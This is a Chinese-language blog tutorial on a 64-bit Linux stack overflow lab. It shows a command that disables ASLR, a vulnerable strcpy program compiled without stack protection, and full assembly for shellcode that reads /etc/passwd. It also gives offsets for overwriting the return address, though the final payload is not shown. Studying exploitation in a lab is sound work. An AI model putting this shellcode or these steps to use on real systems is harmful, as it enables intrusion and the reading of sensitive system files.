栈溢出攻击
参考:https://blog.csdn.net/omnispace/article/details/51005934
在实验之前,首先需要关闭操作系统的ASLR,否则每次内存地址都会发生变化。关闭ubuntu操作系统的ASLR需要以root权限执行命令(文件内容默认为2,且操作系统重启后自动恢复):
echo 0 > /proc/sys/kernel/randomize_va_space
漏洞代码入下:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main( int argc, char **argv) {
char buffer[256];
if (argc != 2) {
exit (0);
}
printf ( "%p\n" , buffer);
strcpy (buffer, argv[1]);
printf ( "%s\n" , buffer);
return 0;
}
漏洞代码描述:
在main函数最开始定义了长度为256的缓冲区buffer。strcpy用于复制字符串复制,当拷贝的位置内存空间不够大时,可能会造成缓冲区溢出的错误情况。通过巧妙地构造复制的字符串,可以将shellcode存放到缓冲区buffer中,同时溢出覆盖指令寄存器RIP的值,让main函数返回值跳转到buffer起始位置执行shellcode。
因为shellcode要放到buffer中,因此编译时需要关闭栈保护,编译命令如下:
gcc -m64 bof.c -o bof -z execstack -fno-stack-protector
shellcode如下:
BITS 64
; Author Mr.Un1k0d3r - RingZer0 Team
; Read /etc/passwd Linux x86_64 Shellcode
; Shellcode size 82 bytes
global _start
section .text
_start:
jmp _push_filename
_readfile:
; syscall open file
pop rdi ; pop path value
; NULL byte fix
xor byte [rdi + 11], 0x41
xor rax, rax
add al, 2
xor rsi, rsi ; set O_RDONLY flag
syscall
; syscall read file
sub sp, 0xfff
lea rsi, [rsp]
mov rdi, rax
xor rdx, rdx
mov dx, 0xfff ; size to read
xor rax, rax
syscall
; syscall write to stdout
xor rdi, rdi
add dil, 1 ; set stdout fd = 1
mov rdx, rax
xor rax, rax
add al, 1
syscall
; syscall exit
xor rax, rax
add al, 60
syscall
_push_filename:
call _readfile
path: db "/etc/passwd"
该shellcode的目的是打印/etc/passwd文件的内容。
通过gdb调试,可以确定缓冲区buffer的地址是0x7fffffffdb60,返回地址是0x7fffffffdc68。由此可以得到栈布局如下图。
要覆盖返回地址,需要从缓冲区buffer开始覆盖长度为256(buffer的长度)+8(调用者rbp)+8(返回地址)个字节的内容。而buffer的开始是长度为81字节的shellcode,最后是8字节的返回地址,中间则可以随便填充,比如183个字符“A”。
前面已经给出了shellcode的汇编代码,shellcode的构造过程如下:
现在有了shellcode,就可以确定负载的内容了,即从缓冲区buffer开始覆盖的内容:
上一篇: 在Linux环境下安装MySQL